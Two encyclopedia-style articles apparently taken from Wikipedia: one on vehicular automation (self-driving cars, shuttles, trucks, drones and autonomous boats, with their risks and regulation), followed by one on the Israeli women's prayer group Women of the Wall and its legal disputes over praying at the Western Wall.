Along with the development of autonomous vehicles, many of these vehicles are expected to be primarily electric, meaning that the main power source of the vehicle will be battery-based rather than fossil fuel-based. Along with that, there comes the extra demand on autonomous vehicle manufacturers to produce higher quality electric cars in order to implement all the autonomous systems associated with the vehicle. However, much of modern-day vehicle components can still be used in autonomous vehicles, such as the use of the automatic transmissions and operator protection equipment like airbags.
In consideration of the development of autonomous vehicles, companies also are considering operator preferences and needs. These instances include allowing the user to minimize time, follow a precise route and accommodate any possible disabilities that the operator may have. Along with accommodating the driver, autonomous vehicles also impose a technological factor onto the environment around it, generally needing a higher sense of connectivity in the vehicle's environment. With this new factor to consider, many urban governments are considering becoming a smart city in order to provide a sufficient foundation for autonomous vehicles. Along these same lines of the vehicle's environment accommodating the vehicle, the user of these vehicles may also have to be technologically connected in order to operate these autonomous vehicles. With the advent of smartphones, it is predicted that autonomous vehicles will be able to have this connection with the user's smartphone or other technological devices similar to a smartphone.
Success in the technology
AAA Foundation for Traffic Safety conducted a test of two automatic emergency braking systems: those designed to prevent crashes and others that aim to make a crash less severe. The test looked at popular models like the 2016 Volvo XC90, Subaru Legacy, Lincoln MKX, Honda Civic and Volkswagen Passat. Researchers tested how well each system stopped when approaching both a moving and nonmoving target. It found that systems capable of preventing crashes reduced vehicle speeds by twice that of the systems designed to merely mitigate crash severity. When the two test vehicles traveled within 30 mph of each other, even those designed to simply lessen crash severity avoided crashes 60 percent of the time.
Automated driving systems have been known to be successful in situations like rural road settings. Rural road settings would be a setting in which there is lower amounts of traffic and lower differentiation between driving abilities and types of drivers. "The greatest challenge in the development of automated functions is still inner-city traffic, where an extremely wide range of road users must be considered from all directions." This technology is progressing to a more reliable way of the automated driving cars to switch from auto-mode to driver mode. Auto-mode is the mode that is set in order for the automated actions to take over, while the driver mode is the mode set in order to have the operator controlling all functions of the car and taking the responsibilities of operating the vehicle (Automated driving system not engaged).
This definition would include vehicle automation systems that may be available in the near term—such as traffic-jam assist, or full-range automated cruise control—if such systems would be designed such that the human operator can reasonably divert attention (monitoring) away from the performance of the vehicle while the automation system is engaged. This definition would also include automated platooning (such as conceptualized by the SARTRE project).
Sartre
The Sartre (safe road trains for the environment) project's main goal is to create platooning, a train of automated cars, that will provide comfort and have the ability for the driver of the vehicle to arrive safely to a destination. Along with the ability to be along the train, drivers that are driving past these platoons, can join in with a simple activation of the automated driving system that correlates with a truck that leads the platoon. Sartre is taking what we know as a train system and mixing it with automated driving technology. This is intended to allow for an easier transportation through cities and ultimately help with traffic flow through heavy automobile traffic.
In some parts of the world the self-driving car has been tested in real life situations such as in Pittsburgh. Self-driving Uber vehicles were tested in Pittsburgh, though the tests were paused for nine months after a self-driving car killed a woman in Arizona. In addition to testing self-driving cars, automated busses have been tested in California. The lateral control of the automated buses uses magnetic markers such as the platoon at San Diego, while the longitudinal control of the automated truck platoon uses millimeter wave radio and radar. Current examples around today's society include the Google car and Tesla's models. Tesla has redesigned automated driving, they have created car models that allow drivers to put in the destination and let the car take over. These are two modern day examples of the automated driving system cars.
Risks and liabilities
Many automakers such as Ford and Volvo have announced plans to offer fully automated cars in the future. Extensive research and development is being put into automated driving systems, but the biggest problem automakers cannot control is how drivers will use system. Drivers are stressed to stay attentive and safety warnings are implemented to alert the driver when corrective action is needed. Tesla Motor's has one recorded incident that resulted in a fatality involving the automated driving system in the Tesla Model S. The accident report reveals the accident was a result of the driver being inattentive and the autopilot system not recognizing the obstruction ahead.
Another flaw with automated driving systems is that in situations where unpredictable events such as weather or the driving behavior of others may cause fatal accidents due to sensors that monitor the surroundings of the vehicle not being able to provide corrective action.
To overcome some of the challenges for automated driving systems, novel methodologies based on virtual testing, traffic flow simulation and digital prototypes have been proposed, especially when novel algorithms based on Artificial Intelligence approaches are employed which require extensive training and validation data sets.
The implementation of automated driving systems poses the possibility of changing build environments in urban areas, such as the expansion of suburban areas due to the increased ease of mobility.
Challenges
Around 2015, several self-driving car companies including Nissan and Toyota promised self-driving cars by 2020. However, the predictions turned out to be far too optimistic.
There are still many obstacles in developing fully autonomous Level 5 vehicles, which is able to operate in any conditions. Currently, companies are focused on Level 4 automation, which is able to operate under certain environmental circumstances.
There is still debate about what an autonomous vehicle should look like. For example, whether to incorporate lidar to autonomous driving systems is still being argued. Some researchers have come up with algorithms utilizing camera-only data that achieve the performance that rival those of lidar. On the other hand, camera-only data sometimes draw inaccurate bounding boxes, and thus lead to poor predictions. This is due to the nature of superficial information that stereo cameras provide, whereas incorporating lidar gives autonomous vehicles precise distance to each point on the vehicle.
Technical challenges
Software Integration: Because of the large number of sensors and safety processes required by autonomous vehicles, software integration remains a challenging task. A robust autonomous vehicle should ensure that the integration of hardware and software can recover from component failures.
Prediction and trust among autonomous vehicles: Fully autonomous cars should be able to anticipate the actions of other cars like humans do. Human drivers are great at predicting other drivers' behaviors, even with a small amount of data such as eye contact or hand gestures. In the first place, the cars should agree on traffic rules, whose turn it is to drive in an intersection, and so on. This scales into a larger issue when there exists both human-operated cars and self-driving cars due to more uncertainties. A robust autonomous vehicle is expected to improve on understanding the environment better to address this issue.
Scaling up: The coverage of autonomous vehicles testing could not be accurate enough. In cases where heavy traffic and obstruction exist, it requires faster response time or better tracking algorithms from the autonomous vehicles. In cases where unseen objects are encountered, it is important that the algorithms are able to track these objects and avoid collisions.
These features require numerous sensors, many of which rely on micro-electro-mechanical systems (MEMS) to maintain a small size, high efficiency, and low cost. Foremost among MEMS sensors in vehicles are accelerometers and gyroscopes to measure acceleration around multiple orthogonal axes — critical to detecting and controlling the vehicle's motion.
Societal challenges
One critical step to achieve the implementation of autonomous vehicles is the acceptance by the general public. It is an important ongoing research because it provides guidelines for the automobile industry to improve their design and technology. Studies have shown that many people believe that using autonomous vehicles is safer, which underlines the necessity for the automobile companies to assure that autonomous vehicles improve safety benefits. The TAM research model breaks down important factors that affect the consumer's acceptance into: usefulness, ease to use, trust, and social influence.
The usefulness factor studies whether or not autonomous vehicles are useful in that they provide benefits that save consumers' time and make their lives simpler. How well the consumers believe autonomous vehicles will be useful compared to other forms of transportation solutions is a determining factor.
The ease to use factor studies the user-friendliness of the autonomous vehicles. While the notion that consumers care more about ease to use than safety has been challenged, it still remains an important factor that has indirect effects on the public's intention to use autonomous vehicles.
The trust factor studies the safety, data privacy and security protection of autonomous vehicles. A more trusted system has a positive impact on the consumer's decision to use autonomous vehicles.
The social influence factor studies whether the influence of others would influence consumer's likelihood of having autonomous vehicles. Studies have shown that the social influence factor is positively related to behavioral intention. This might be due to the fact that cars traditionally serve as a status symbol that represents one's intent to use and his social environment.
Regulatory challenges
Real-time testing of autonomous vehicles is an inevitable part of the process. At the same time, vehicular automation regulators are faced with challenges to protect public safety and yet allow autonomous vehicle companies to test their products. Groups representing autonomous vehicle companies are resisting most regulations, whereas groups representing vulnerable road users and traffic safety are pushing for regulatory barriers. To improve traffic safety, the regulators are encouraged to find a middle ground that protects the public from immature technology while allowing autonomous vehicle companies to test the implementation of their systems. There have also been proposals to adopt the aviation automation safety regulatory knowledge into the discussions of safe implementation of autonomous vehicles, due to the experience that has been gained over the decades by the aviation sector on safety topics.
Ground vehicles
An automated driving system is defined in an proposed amendment to Article 1 of the Vienna Convention on Road Traffic:
This amendment will enter into force on 14 July 2022, unless it is rejected before 13 January 2022.
Ground vehicles employing automation and teleoperation include shipyard gantries, mining trucks, bomb-disposal robots, robotic insects, and driverless tractors.
There are a lot of autonomous and semi-autonomous ground vehicles being made for the purpose of transporting passengers. One such example is the free-ranging on grid (FROG) technology which consists of autonomous vehicles, a magnetic track and a supervisory system. The FROG system is deployed for industrial purposes in factory sites and has been in use since 1999 on the ParkShuttle, a PRT-style public transport system in the city of Capelle aan den IJssel to connect the Rivium business park with the neighboring city of Rotterdam (where the route terminates at the Kralingse Zoom metro station). The system experienced a crash in 2005 that proved to be caused by a human error.
Applications for automation in ground vehicles include the following:
Vehicle tracking system system ESITrack, Lojack
Rear-view alarm, to detect obstacles behind.
Anti-lock braking system (ABS) (also Emergency Braking Assistance (EBA)), often coupled with Electronic brake force distribution (EBD), which prevents the brakes from locking and losing traction while braking. This shortens stopping distances in most cases and, more importantly, allows the driver to steer the vehicle while braking.
Traction control system (TCS) actuates brakes or reduces throttle to restore traction if driven wheels begin to spin.
Four wheel drive (AWD) with a centre differential. Distributing power to all four wheels lessens the chances of wheel spin. It also suffers less from oversteer and understeer.
Electronic Stability Control (ESC) (also known for Mercedes-Benz proprietary Electronic Stability Program (ESP), Acceleration Slip Regulation (ASR) and Electronic differential lock (EDL)). Uses various sensors to intervene when the car senses a possible loss of control. The car's control unit can reduce power from the engine and even apply the brakes on individual wheels to prevent the car from understeering or oversteering.
Dynamic steering response (DSR) corrects the rate of power steering system to adapt it to vehicle's speed and road conditions.
Research is ongoing and prototypes of autonomous ground vehicles exist.
Cars
Extensive automation for cars focuses on either introducing robotic cars or modifying modern car designs to be semi-autonomous.
Semi-autonomous designs could be implemented sooner as they rely less on technology that is still at the forefront of research. An example is the dual mode monorail. Groups such as RUF (Denmark) and TriTrack (USA) are working on projects consisting of specialized private cars that are driven manually on normal roads but also that dock onto a monorail/guideway along which they are driven autonomously.
As a method of automating cars without extensively modifying the cars as much as a robotic car, Automated highway systems (AHS) aims to construct lanes on highways that would be equipped with, for example, magnets to guide the vehicles. Automation vehicles have auto-brakes named as Auto Vehicles Braking System (AVBS). Highway computers would manage the traffic and direct the cars to avoid crashes.
In 2006, The European Commission has established a smart car development program called the Intelligent Car Flagship Initiative. The goals of that program include:
Adaptive cruise control
Lane departure warning system
Project AWAKE for drowsy drivers
There are plenty of further uses for automation in relation to cars. These include:
Assured Clear Distance Ahead
Adaptive headlamps
Advanced Automatic Collision Notification, such as OnStar
Intelligent Parking Assist System
Automatic Parking
Automotive night vision with pedestrian detection
Blind spot monitoring
Driver Monitoring System
Robotic car or self-driving car which may result in less-stressed "drivers", higher efficiency (the driver can do something else), increased safety and less pollution (e.g. via completely automated fuel control)
Precrash system
Safe speed governing
Traffic sign recognition
Following another car on a motorway – "enhanced" or "adaptive" cruise control, as used by Ford and Vauxhall
Distance control assist – as developed by Nissan
Dead man's switch – there is a move to introduce deadman's braking into automotive application, primarily heavy vehicles, and there may also be a need to add penalty switches to cruise controls.
Singapore also announced a set of provisional national standards on January 31, 2019, to guide the autonomous vehicle industry. The standards, known as Technical Reference 68 (TR68), will promote the safe deployment of fully driverless vehicles in Singapore, according to a joint press release by Enterprise Singapore (ESG), Land Transport Authority (LTA), Standards Development Organisation and Singapore Standards Council (SSC).
Shuttle
Since 1999, the 12-seat/10-standing ParkShuttle has been operating on an exclusive right of way in the city of Capelle aan den IJssel in The Netherlands. The system uses small magnets in the road surface to allow the vehicle to determine its position. The use of shared autonomous vehicles was trialed around 2012 in a hospital car park in Portugal. From 2012 to 2016 the European Union funded CityMobil2 project examined the use of shared autonomous vehicles and passenger experience including short term trials in seven cities. This project led to the development of the EasyMile EZ10.
In the 2010s, self-driving shuttle became able to run in mixed traffic without the need for embedded guidance markers. So far the focus has been on low speed, , with short, fixed routes for the "last mile" of journeys. This means issues of collision avoidance and safety are significantly less challenging than those for automated cars, which seek to match the performance of conventional vehicles. Many trials have been undertaken, mainly on quiet roads with little traffic or on public pathways or private roadways and specialised test sites. The capacity of different models varies significantly, between 6-seats and 20-seats. (Above this size there are conventional buses that have driverless technology installed.)
In December 2016, the Jacksonville Transportation Authority has announced its intention to replace the Jacksonville Skyway monorail with driverless vehicles that would run on the existing elevated superstructure as well as continue onto ordinary roads. The project has since been named the "Ultimate Urban Circulator" or "U2C" and testing has been carried out on shuttles from six different manufacturers. The cost of the project is estimated at $379 million.
In January 2017, it was announced the ParkShuttle system in the Netherlands will be renewed and expanded including extending the route network beyond the exclusive right of way so vehicles will run in mixed traffic on ordinary roads. The plans were delayed and the extension into mixed traffic is now expected in 2021.
In July 2018, Baidu stated it had built 100 of its 8-seat Apolong model, with plans for commercial sales. As of July 2021 they have not gone into volume production.
In August 2020, it was reported there were 25 autonomous shuttle manufacturers, including the 2GetThere, Local Motors, Navya, Baidu, Easymile, Toyota and Ohmio.
In December 2020, Toyota showcased its 20-passenger "e-Palette" vehicle, which is due to be used at the 2021 Tokyo Olympic Games. Toyota has announced it intends to have the vehicle available for commercial applications before 2025.
In January 2021, Navya released an investor report which predicted global autonomous shuttle sales will reach 12,600 units by 2025, with a market value of EUR 1.7 billion.
In June 2021, Chinese maker Yutong claimed to have delivered 100 models of its 10-seat Xiaoyu 2.0 autonomous bus for use in Zhengzhou. Testing has been carried out in a number of cities since 2019 with trials open to the public due to commence in July 2021.
Self-driving shuttles are already in use on some private roads, such as at the Yutong factory in Zhengzhou where they are used to transport workers between buildings of the world's largest bus factory.
Trials
A large number of trials have been conducted since 2016, with most involving only one vehicle on a short route for a short period of time and with an onboard conductor. The purpose of the trials has been to both provide technical data and to familiarize the public with the driverless technology. A 2021 survey of over 100 shuttle experiments across Europe concluded that low speed - - was the major the barrier to implementation of autonomous shuttle buses. The current cost of the vehicles at €280,000 and the need for onboard attendants were also issues.
Vehicle names are in "quotes"
Buses
Autonomous buses are proposed as well as self driving cars and trucks. Grade 2 level automated minibuses were trialed for a few weeks in Stockholm. China has also a small fleet of self-driving public buses in the tech district of Shenzhen, Guangdong.
The first autonomous bus trial in the United Kingdom commenced in mid-2019, with an Alexander Dennis Enviro200 MMC single-decker bus modified with autonomous software from Fusion Processing able to operate in driverless mode within Stagecoach Manchester's Sharston bus depot, performing tasks such as driving to the washing station, refuelling point and then parking up at a dedicated parking space in the depot. Passenger-carrying driverless bus trials in Scotland commenced in January 2023, with a fleet of five identical vehicles to the Manchester trial used on a Stagecoach Fife park-and-ride route across the Forth Road Bridge, from the north bank of the Forth to Edinburgh Park station.
Another autonomous trial in Oxfordshire, England, which uses a battery electric Fiat Ducato minibus on a circular service to Milton Park, operated by FirstBus with support from Fusion Processing, Oxfordshire County Council and the University of the West of England, entered full passenger service also in January 2023. The trial route is planned to be extended to Didcot Parkway railway station following the acquisition of a larger single-decker by the end of 2023.
In July 2020 in Japan, AIST Human-Centered Mobility Research Center with Nippon Koei and Isuzu started a series of demonstration tests for mid-sized buses, Isuzu "Erga Mio" with autonomous driving systems, in five areas; Ōtsu city in Shiga prefecture, Sanda city in Hyōgo Prefecture and other three areas in sequence.
Trucks
The concept for autonomous vehicles has been applied for commercial uses, such as autonomous or nearly autonomous trucks.
Companies such as Suncor Energy, a Canadian energy company, and Rio Tinto Group were among the first to replace human-operated trucks with driverless commercial trucks run by computers. In April 2016, trucks from major manufacturers including Volvo and the Daimler Company completed a week of autonomous driving across Europe, organized by the Dutch, in an effort to get self-driving trucks on the road. With developments in self-driving trucks progressing, U.S. self-driving truck sales is expected to reach 60,000 by 2035 according to a report released by IHS Inc. in June 2016.
As reported in June 1995 in Popular Science magazine, self-driving trucks were being developed for combat convoys, whereby only the lead truck would be driven by a human and the following trucks would rely on satellite, an inertial guidance system and ground-speed sensors. Caterpillar Inc. made early developments in 2013 with the Robotics Institute at Carnegie Mellon University to improve efficiency and reduce cost at various mining and construction sites.
In Europe, the Safe Road Trains for the Environment is such an approach.
From PWC's Strategy& Report, self driving trucks will be the source of a lot of concern around how this technology will impact around 3 million truck drivers in the US, as well as 4 million employees in support of the trucking economy in gas stations, restaurants, bars and hotels. At the same time, some companies like Starsky, are aiming for Level 3 Autonomy, which would see the driver playing a control role around the truck's environment. The company's project, remote truck driving, would give truck drivers a greater work-life balance, enabling them to avoid long periods away from their home. This would however provoke a potential mismatch between the driver's skills with the technological redefinition of the job.
Companies that buy driverless trucks could massively cut down on costs: human drivers will no longer be required, companies' liabilities due to truck accidents will diminish, and productivity will increase (as the driverless truck doesn't need to rest). The usage of self driving trucks will go hand in hand with the use of real-time data to optimize both efficiency and productivity of the service delivered, as a way to tackle traffic congestion for example. Driverless trucks could enable new business models that would see deliveries shift from day time to night time or time slots in which traffic is less heavily dense.
Suppliers
Motorcycles
Several self-balancing autonomous motorcycles were demonstrated in 2017 and 2018 from BMW, Honda and Yamaha.
Trains
The concept for autonomous vehicles has also been applied for commercial uses, like for autonomous trains. The world's first driverless urban transit system is the Port Island Line in Kobe, Japan, opened in 1981. The first self-driving train in the UK was launched in London on the Thameslink route.
An example of an automated train network is the Docklands Light Railway in London.
Also see List of automated train systems.
Trams
In 2018 the first autonomous trams in Potsdam were trialed.
Automated guided vehicle
An automated guided vehicle or automatic guided vehicle (AGV) is a mobile robot that follows markers or wires in the floor, or uses vision, magnets, or lasers for navigation. They are most often used in industrial applications to move materials around a manufacturing facility or warehouse. Application of the automatic guided vehicle has broadened during the late 20th century.
Aircraft
Aircraft has received much attention for automation, especially for navigation. A system capable of autonomously navigating a vehicle (especially aircraft) is known as autopilot.
Delivery drones
Various industries such as packages and food experimented with delivery drones. Traditional and new transportation companies are competing in the market. For example, UPS Flight Forward, Alphabet Wing, and Amazon Prime Air are all developing delivery drones. Zipline, an American medical drone delivery company, has the largest active drone delivery operations in the world, and its drones are capable of Level 4 autonomy.
However, even if technology seems to allow for those solutions to function correctly as various tests of various companies show, the main throwback to the market launch and use of such drones is inevitably the legislation in place and regulatory agencies have to decide on the framework they wish to take to draft regulation. This process is in different phases across the world as each country will tackle the topic independently. For example, Iceland's government and departments of transport, aviation, police have already started issuing licenses for drone operations. It has a permissive approach and together with Costa Rica, Italy, the UAE, Sweden and Norway, has a fairly unrestricted legislation on commercial drone use. Those countries are characterized by a body of regulation that may give operational guidelines or require licensing, registration and insurance.
On the other side, other countries have decided to ban, either directly (outright ban) or indirectly (effective ban), the use of commercial drones. The RAND Corporation thus makes the difference between countries forbidding drones and those that have a formal process for commercial drone licensing, but requirements are either impossible to meet or licenses do not appear to have been approved. In the US, UPS is the only one with the Part 135 Standard certification that is required to use drones to deliver to real customers.
However, most countries seem to be struggling on the integration of drones for commercial uses into their aviation regulatory frameworks. Thus, constraints are placed on the use of those drones such as that they must be operating within the visual line of sight (VLOS) of the pilot and thus limiting their potential range. This would be the case of the Netherlands and Belgium. Most countries do let pilot operate outside the VLOS but is subject to restrictions and pilot ratings, which would be the case of the US.
The general trend is that legislation is moving fast and laws are constantly being reevaluated. Countries are moving towards a more permissive approach but the industry still lacks infrastructures to ensure the success of such a transition. To provide safety and efficiency, specialized training courses, pilot exams (type of UAV and flying conditions) as well as liability management measures regarding insurances have to be developed.
There is a sense of urgency that breathes from this innovation as competition is high and companies lobby to integrate them rapidly in their products and services offerings. Since June 2017, the US Senate legislation reauthorized the Federal Aviation Administration and the Department of Transportation to create a carrier certificate allowing for package deliveries by drones.
Watercraft
Autonomous boats can provide security, do research, or perform hazardous or repetitive tasks (such as guiding a large ship into a harbor or transporting cargo).
Sea Machines
Sea Machines offers an autonomous system for workboats. While it does require a human operator to oversee its actions, the system takes care of a lot of active domain perception and navigation duties that normally a few members of the crew would have to do. They use AI to have situational awareness for different ships within the route. They utilize camera, lidar, and proprietary software to inform the operator of its status.
Buffalo Automation
Buffalo Automation, a team formed from the University of Buffalo, creates technology for semi-autonomous features for boats. They started out creating navigation assist technologies for freighters called AutoMate, which is like having another very experienced “first mate” that will look out for the ship. The system helps make twists and turns of difficult waterways.
Autonomous Marine Systems
This Massachusetts based company has led the forefront of unmanned sailing drones. The Datamarans are out autonomously sailing around to collect ocean data. They are created to enable large payload packages. Due to the automated system and their solar panels, they are able to navigate for longer periods of time. More than anything they boast their technologies on advanced metocean surveys which collect “wind velocity profiles with altitude, water current, conductivity, temperature profiles with depth, hi-resolution bathymetry, sub-bottom profiling, magnetometer measurements”
Mayflower
The autonomous vessel called Mayflower is expected to be the first large ship that makes an unmanned transatlantic journey.
Saildrones
This autonomous unmanned vessel uses both solar and wind energy to navigate.
DARPA
Sea Hunter is an autonomous unmanned surface vehicle (USV) launched in 2016 as part of the DARPA Anti-Submarine Warfare Continuous Trail Unmanned Vessel (ACTUV) program.
Submersibles
Underwater vehicles have been a focus for automation for tasks such as pipeline inspection and underwater mapping.
Assistance robots
Spot
This robot is a four-legged nimble robot that was created to be able to navigate through many different terrain outdoors and indoors. It can walk on its own without colliding into anything. It utilizes many different sensors, including 360 vision cameras and gyroscopes. It is able to keep its balance even when pushed over. This vehicle, while it is not intended to be ridden, can carry heavy loads for construction workers or military personnel through rough terrain.
Highway Code change
The British Highway Code states that:
The UK considers the way to update its British Highway Code for automated code:
Concerns
Lack of control
Through the autonomy level, it is shown that the higher the level of autonomy, the fewer control humans have on their vehicles (highest level of autonomy needing zero human interventions). One of the few concerns regarding the development of vehicular automation is related to the end-users’ trust in the technology that controls automated vehicles. According to a nationally conducted survey made by Kelley Blue Book (KBB) in 2016, it is shown that the majority of people would still choose to have a certain level of control behind their own vehicle rather than having the vehicle operate in Level 5 autonomy, or in other words, completely autonomous. According to half of the respondents, the idea of safety in an autonomous vehicle diminishes as the level of autonomy increases. This distrust of autonomous driving systems proved to be unchanged throughout the years when a nationwide survey conducted by AAA Foundation for Traffic and Safety (AAAFTS) in 2019 showed the same outcome as the survey KBB did in 2016. AAAFTS survey showed that even though people have a certain level of trust in automated vehicles, most people also have doubts and distrust towards the technology used in autonomous vehicles, with most distrust in Level 5 autonomous vehicles. It is shown by AAAFTS’ survey that people's trust in autonomous driving systems increased when their level of understanding increased.
Malfunctions
The possibility of autonomous vehicle's technology to experience malfunctions is also one of the causes of user's distrust in autonomous driving systems. In fact, it is the concern that most respondents voted for in the AAAFTS survey. Even though autonomous vehicles are made to improve traffic safety by minimizing crashes and their severity, they still caused fatalities. At least 113 autonomous vehicle related accidents have occurred until 2018. In 2015, Google declared that their automated vehicles experienced at least 272 failures, and drivers had to intervene around 13 times to prevent fatalities. Furthermore, other automated vehicles’ manufacturers also reported automated vehicles’ failures, including the Uber car incident. The self-driving Uber car accident that happened in 2018 is one of the examples of autonomous vehicle accidents that are also listed in List of self-driving car fatalities. A report made by the National Transportation Safety Board (NTSB) showed that the self-driving Uber car was unable to identify the victim in a sufficient amount of time for the vehicle to slow down and avoid crashing into the victim.
Ethical
Another concern related to vehicle automation is its ethical issues. In reality, autonomous vehicles can encounter inevitable traffic accidents. In situations like that, many risks and calculations need to be made in order to minimize the amount of damage the accident could cause. When a human driver encounters an inevitable accident, the driver will take a spontaneous action based on ethical and moral logic. However, when a driver has no control over the vehicle (Level 5 autonomy), the system of an autonomous vehicle is the one who needs to make that instant decision. Unlike humans, autonomous vehicles don't have reflexes and it can only make decisions based on what it is programmed to do. However, the situation and circumstances of accidents differ from one another, and one decision might not be the best decision for certain accidents. Based on two research studies in 2019, the implementation of fully automated vehicles in traffic where semi-automated and non-automated vehicles are still present might lead to many complications. Some flaws that still need consideration include the structure of liability, distribution of responsibilities, efficiency in decision making, and the performance of autonomous vehicles with its diverse surroundings. Still, researchers Steven Umbrello and Roman V. Yampolskiy propose that the value sensitive design approach is one method that can be used to design autonomous vehicles to avoid some of these ethical issues and design for human values.
See also
Self-driving car
Self-driving truck
Dashcam
Intelligent speed adaptation
Intelligent Transportation System
PReVENT
Robo-Taxi
Transit media
Uncrewed vehicle
References
External links
European Commission Intelligent Car website
U.S. Department of Transportation - Intelligent Transportation Systems Joint Program Office website
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https://en.wikipedia.org/wiki/Women%20of%20the%20Wall
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Women of the Wall
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Women of the Wall (Hebrew: נשות הכותל, Neshot HaKotel) is a multi-denominational Jewish feminist organization based in Israel whose goal is to secure the rights of women to pray at the Western Wall, also called the Kotel, in a fashion that includes singing, reading aloud from the Torah and wearing religious garments (tallit, tefillin and kippah). Pew Research Center has identified Israel as one of the countries that place "high" restrictions on religion, and there have been limits placed on non-Orthodox streams of Judaism. One of those restrictions is that the Rabbi of the Western Wall has enforced gender segregation and limitations on religious garb worn by women. When the "Women of the Wall" hold monthly prayer services for women on Rosh Hodesh, they observe gender segregation so that Orthodox members may fully participate. But their use of religious garb, singing and reading from a Torah have upset many members of the Orthodox Jewish community, sparking protests and arrests. In May 2013 a judge ruled that a 2003 Israeli Supreme Court ruling prohibiting women from carrying a Torah or wearing prayer shawls had been misinterpreted and that Women of the Wall prayer gatherings at the wall should not be deemed illegal.
In January 2016, the Israeli Cabinet approved a plan to designate a new space at the Kotel that would be available for egalitarian prayer and which would not be controlled by the Rabbinate. Women of the Wall welcomed the decision, but the plan faced opposition from other factions, including some ultra-Orthodox members of Prime Minister Benjamin Netanyahu's governing coalition, who threatened to withdraw over the government's plan to create non-Orthodox prayer space at the Western Wall in deference to the Women of the Wall.
In January 2017, the Israeli High Court ruled that if the government of Israel could not find "good cause" to prohibit women reading from the Torah in prayer services at the Kotel within 30 days, women could do so; they also ruled that the Israeli government could no longer argue that the Robinson's Arch area of the plaza is access to the Kotel. The petition for women to read from the Torah at the Kotel had been brought by a group that split off from the Women of the Wall, calling itself the "Original Women of the Wall".
In June 2017, it was announced that the plan approved in January 2016 had been suspended.
According to Ronit Kampf, the group's struggle has been "the most covered women's issue in the history of the Israeli media."
Summary
From the start, Women of the Wall included Orthodox members and opted to claim their service was run according to "Orthodox standards". This was despite the fact that according to orthodox standards, women do not wear tzitzit, tefillin, or read from the Torah. Most Orthodox individuals were offended, including some who call themselves Orthodox feminists. Women of the Wall is a multi-denominational group, including Reform, Conservative and modern- orthodox members.
Since 1988, the group has faced a legal battle for recognition of their right to pray at the Western Wall. Their presence is deemed offensive by Orthodox worshippers at the site and there have been numerous court proceedings to settle the issue. On the Fast of Esther 1989, Orthodox men, outraged by the women's singing, hurled chairs and verbal insults at the women, which resulted in the deployment of tear gas to quell the violence. In 2010, police arrested two Haredi men at the Western Wall Plaza on suspicion that they threw chairs at a Women of the Wall group that was praying aloud at the site. In 2009, the first woman was arrested for praying with a tallit. The struggle by the Women of the Wall is seen by the Israeli Orthodox religious establishment as an attempt to undermine their influence in an effort to introduce religious pluralism.
Opposition from the Orthodox stems from Halachic concerns; this manifests publicly as a general disdain for non-traditional ritual in an area they claim serves as an Orthodox synagogue. Orthodoxy does not permit women to constitute a minyan (prayer quorum) and while the women have not considered themselves as doing so, this has not calmed Orthodox sensibilities. Initially, the group did not receive support from Israel's primarily Orthodox religious authorities. Supporters highlighted the fact that only in Israel are Jewish women prohibited from praying according to their custom in a public location and a 2003 High Court ruling which prevented them from conducting prayer services at the wall was overturned in 2013.
A plan was approved by the Israeli Cabinet in January 2016 to designate a new space at the Kotel that would be available for egalitarian prayer and which would not be controlled by the Rabbinate. In 2017 the Israeli High Court ruled that if the government of Israel could not find "good cause" to prohibit women reading from the Torah in prayer services at the Kotel within 30 days, women could do so; they also ruled that the Israeli government could no longer argue that the Robinson's Arch area of the plaza is access to the Kotel. The petition for women to read from the Torah at the Kotel had been brought by a group that split off from the Women of the Wall, calling itself the "Original Women of the Wall". However, later that year it was announced that the plan approved in January 2016 to designate a new space at the Kotel that would be available for egalitarian prayer and which would not be controlled by the Rabbinate had been suspended.
Some Orthodox feminist organisations have voiced support for their right to pray at the Kotel. The organisation was created by Jewish women, mostly from the diaspora, and a significant number of participants are American immigrants or part of the English-speaking community. This is in part due to the differing social conditions of Orthodox women in the United States and Israel respectively. Shmuel Rosner describes the phenomena as an "American-imported battle" for religious pluralism, religious moderation and tolerance. He notes that civil rights and feminism are American imports, late in coming to Israel.
History
Twenty-five years after the founding of WoW, a poll by the Israel Democracy Institute in May 2013 found that about half of the Israel public supports the Women of the Wall, and that men (51.5%) are more inclined to support the women's prayer group than women (46%). The poll was conducted by Professor Tamar Hermann, who noted that Women of the Wall received highest levels of support from educated, secular, Ashkenazi Israelis. However, the group was not always met with support from the majority of Israelis, as it is today.
Women of the Wall was founded in December 1988 at the first International Jewish Feminist Conference in Jerusalem. On December 1, 1988, during the conference, Rivka Haut organized a group of multi-denominational women to pray at the Western Wall. 70 women carried a Torah scroll to the Western Wall, and Rabbi Deborah Brin led a prayer service for them. Francine Klagsbrun was the one chosen to carry the Torah at the head of the group, making her the first woman to carry a Torah to the Western Wall. When the conference ended, a group of Jerusalem women led by Bonna Devora Haberman continued to meet at the Kotel and formed Women of the Wall to assert their right to pray there without hindrance. Women of the Wall has fought a legal battle asserting a right to conduct organized prayer at the Kotel and challenging government and private intervention in its efforts. After demanding police protection, the government was given nine months to make arrangements that would allow them to pray unhindered. At the end of this period, the Ministry of Religion ruled that only prayer according to the "custom of the place" was to be permitted and that "the sensitivities of other worshippers" must not be offended. The Women of the Wall then petitioned the Supreme Court to recognize their right to pray at the Wall. A temporary ruling was given which stated that the status quo should be enforced until they reached a final verdict.
The legal battles between the High Court of Justice and the Women of the Wall continued between 1995 and 2000. The Israeli government did not uphold the position that they would find a way for the Women of the Wall to pray, which resulted in an appeal from the Women of the Wall to the High Court of Justice in 1995. This concluded in April 1996, determining the solution was to move the Women of the Wall's prayer from the Western Wall to the Robinson's Arch. Robinson's Arch was not in the area of main prayer. The Women of the Wall appealed this decision to the Ne'eman Committee in 1998, who reaffirmed the previous decision of the High Court Justice. The Women of the Wall accepted the decision on the condition that the area they were being moved to be set up to be a proper prayer area. The government did not do such preparations of the prayer area in Robinson's Arch, resulting in the appeal to the Supreme Court in 2000 by the Women of the Wall. In this appeal, the supreme court ruled that the Israeli government was required to allow the Women of the Wall to exercise their religious freedom and practices at the Western Wall.
